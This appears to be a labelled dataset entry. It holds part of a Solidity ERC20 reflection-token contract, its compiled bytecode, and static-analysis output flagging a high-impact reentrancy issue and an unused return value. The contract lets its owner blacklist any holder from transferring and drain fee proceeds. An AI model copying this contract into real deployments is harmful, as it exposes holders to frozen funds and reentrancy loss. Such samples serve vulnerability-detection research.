return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxHoldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10_000 * 10**9; _maxHoldAmount = 20_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount,uint256 maxHoldAmount) external onlyOwner() { if (maxTxAmount > 20_000 * 10**9) { _maxTxAmount = maxTxAmount; _maxHoldAmount = maxHoldAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063733ec069116100ab578063b515566a1161006f578063b515566a14610314578063c3c8cd8014610334578063c9567bf914610349578063dbe8272c1461035e578063dc1052e21461037e578063dd62ed3e1461039e57600080fd5b8063733ec069146102975780638da5cb5b146102b757806395d89b411461013a5780639e78fb4f146102df578063a9059cbb146102f457600080fd5b8063313ce567116100f2578063313ce5671461021157806346df33b71461022d5780636fc3eaec1461024d57806370a0823114610262578063715018a61461028257600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101cf578063273123b7146101ef57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820182526009815268524156454e434c415760b81b6020820152905161017291906118f6565b60405180910390f35b34801561018757600080fd5b5061019b61019636600461175b565b6103e4565b6040519015158152602001610172565b3480156101b757600080fd5b5066038d7ea4c680005b604051908152602001610172565b3480156101db57600080fd5b5061019b6101ea36600461171a565b6103fb565b3480156101fb57600080fd5b5061020f61020a3660046116a7565b610464565b005b34801561021d57600080fd5b5060405160098152602001610172565b34801561023957600080fd5b5061020f610248366004611853565b6104b8565b34801561025957600080fd5b5061020f610500565b34801561026e57600080fd5b506101c161027d3660046116a7565b610537565b34801561028e57600080fd5b5061020f610559565b3480156102a357600080fd5b5061020f6102b23660046118a6565b6105cd565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102eb57600080fd5b5061020f610614565b34801561030057600080fd5b5061019b61030f36600461175b565b610853565b34801561032057600080fd5b5061020f61032f366004611787565b610860565b34801561034057600080fd5b5061020f6108f2565b34801561035557600080fd5b5061020f610932565b34801561036a57600080fd5b5061020f61037936600461188d565b610b00565b34801561038a57600080fd5b5061020f61039936600461188d565b610b38565b3480156103aa57600080fd5b506101c16103b93660046116e1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f1338484610b70565b5060015b92915050565b6000610408848484610c94565b61045a843361045585604051806060016040528060288152602001611ae2602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb3565b610b70565b5060019392505050565b6000546001600160a01b031633146104975760405162461bcd60e51b815260040161048e9061194b565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104e25760405162461bcd60e51b815260040161048e9061194b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461052a5760405162461bcd60e51b815260040161048e9061194b565b4761053481610fed565b50565b6001600160a01b0381166000908152600260205260408120546103f590611027565b6000546001600160a01b031633146105835760405162461bcd60e51b815260040161048e9061194b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105f75760405162461bcd60e51b815260040161048e9061194b565b6512309ce5400082111561061057601082905560118190555b5050565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161048e9061194b565b600f54600160a01b900460ff16156106985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f857600080fd5b505afa15801561070c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073091906116c4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077857600080fd5b505afa15801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b091906116c4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f857600080fd5b505af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906116c4565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f1338484610c94565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161048e9061194b565b60005b8151811015610610576001600660008484815181106108ae576108ae611a92565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611a61565b91505061088d565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260040161048e9061194b565b600061092730610537565b9050610534816110ab565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161048e9061194b565b600e5461097b9030906001600160a01b031666038d7ea4c68000610b70565b600e546001600160a01b031663f305d719473061099781610537565b6000806109ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0f57600080fd5b505af1158015610a23573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4891906118c8565b5050600f80546509184e72a0006010556512309ce5400060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105349190611870565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161048e9061194b565b600f81101561053457600b55565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161048e9061194b565b600f81101561053457600c55565b6001600160a01b038316610bd25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048e565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048e565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048e565b60008111610dbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048e565b6001600160a01b03831660009081526006602052604090205460ff1615610de257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2457506001600160a01b03821660009081526005602052604090205460ff16155b15610fa3576000600955600c54600a55600f546001600160a01b038481169116148015610e5f5750600e546001600160a01b03838116911614155b8015610e8457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e995750600f54600160b81b900460ff165b15610ed557601054811115610ead57600080fd5b6000610eb883610537565b601154909150610ec88383611234565b1115610ed357600080fd5b505b600f546001600160a01b038381169116148015610f005750600e546001600160a01b03848116911614155b8015610f2557506001600160a01b03831660009081526005602052604090205460ff16155b15610f36576000600955600b54600a555b6000610f4130610537565b600f54909150600160a81b900460ff16158015610f6c5750600f546001600160a01b03858116911614155b8015610f815750600f54600160b01b900460ff165b15610fa157610f8f816110ab565b478015610f9f57610f9f47610fed565b505b505b610fae838383611293565b505050565b60008184841115610fd75760405162461bcd60e51b815260040161048e91906118f6565b506000610fe48486611a4a565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610610573d6000803e3d6000fd5b600060075482111561108e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161048e565b600061109861129e565b90506110a483826112c1565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110f3576110f3611a92565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114757600080fd5b505afa15801561115b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117f91906116c4565b8160018151811061119257611192611a92565b6001600160a01b039283166020918202929092010152600e546111b89130911684610b70565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f1908590600090869030904290600401611980565b600060405180830381600087803b15801561120b57600080fd5b505af115801561121f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124183856119f1565b9050838110156110a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048e565b610fae838383611303565b60008060006112ab6113fa565b90925090506112ba82826112c1565b9250505090565b60006110a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b60008060008060008061131587611466565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134790876114c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113769086611234565b6001600160a01b03891660009081526002602052604090205561139881611505565b6113a2848361154f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113e791815260200190565b60405180910390a3505050505050505050565b600754600090819066038d7ea4c6800061141482826112c1565b82101561142f5750506007549266038d7ea4c6800092509050565b90939092509050565b600081836114595760405162461bcd60e51b815260040161048e91906118f6565b506000610fe48486611a09565b60008060008060008060008060006114838a600954600a54611573565b925092509250600061149361129e565b905060008060006114a68e8787876115c8565b919e509c509a509598509396509194505050505091939550919395565b60006110a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb3565b600061150f61129e565b9050600061151d8383611618565b3060009081526002602052604090205490915061153a9082611234565b30600090815260026020526040902055505050565b60075461155c90836114c3565b60075560085461156c9082611234565b6008555050565b600080808061158d60646115878989611618565b906112c1565b905060006115a060646115878a89611618565b905060006115b8826115b28b866114c3565b906114c3565b9992985090965090945050505050565b60008080806115d78886611618565b905060006115e58887611618565b905060006115f38888611618565b90506000611605826115b286866114c3565b939b939a50919850919650505050505050565b600082611627575060006103f5565b60006116338385611a2b565b9050826116408583611a09565b146110a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048e565b80356116a281611abe565b919050565b6000602082840312156116b957600080fd5b81356110a481611abe565b6000602082840312156116d657600080fd5b81516110a481611abe565b600080604083850312156116f457600080fd5b82356116ff81611abe565b9150602083013561170f81611abe565b809150509250929050565b60008060006060848603121561172f57600080fd5b833561173a81611abe565b9250602084013561174a81611abe565b929592945050506040919091013590565b6000806040838503121561176e57600080fd5b823561177981611abe565b946020939093013593505050565b6000602080838503121561179a57600080fd5b823567ffffffffffffffff808211156117b257600080fd5b818501915085601f8301126117c657600080fd5b8135818111156117d8576117d8611aa8565b8060051b604051601f19603f830116810181811085821117156117fd576117fd611aa8565b604052828152858101935084860182860187018a101561181c57600080fd5b600095505b838610156118465761183281611697565b855260019590950194938601938601611821565b5098975050505050505050565b60006020828403121561186557600080fd5b81356110a481611ad3565b60006020828403121561188257600080fd5b81516110a481611ad3565b60006020828403121561189f57600080fd5b5035919050565b600080604083850312156118b957600080fd5b50508035926020909101359150565b6000806000606084860312156118dd57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561192357858101830151858201604001528201611907565b81811115611935576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0457611a04611a7c565b500190565b600082611a2657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4557611a45611a7c565b500290565b600082821015611a5c57611a5c611a7c565b500390565b6000600019821415611a7557611a75611a7c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461053457600080fd5b801515811461053457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3da6bc3c2d6ccdb5054b4d27364c6b64542daa81305fe69de474519d3c6cb9564736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
99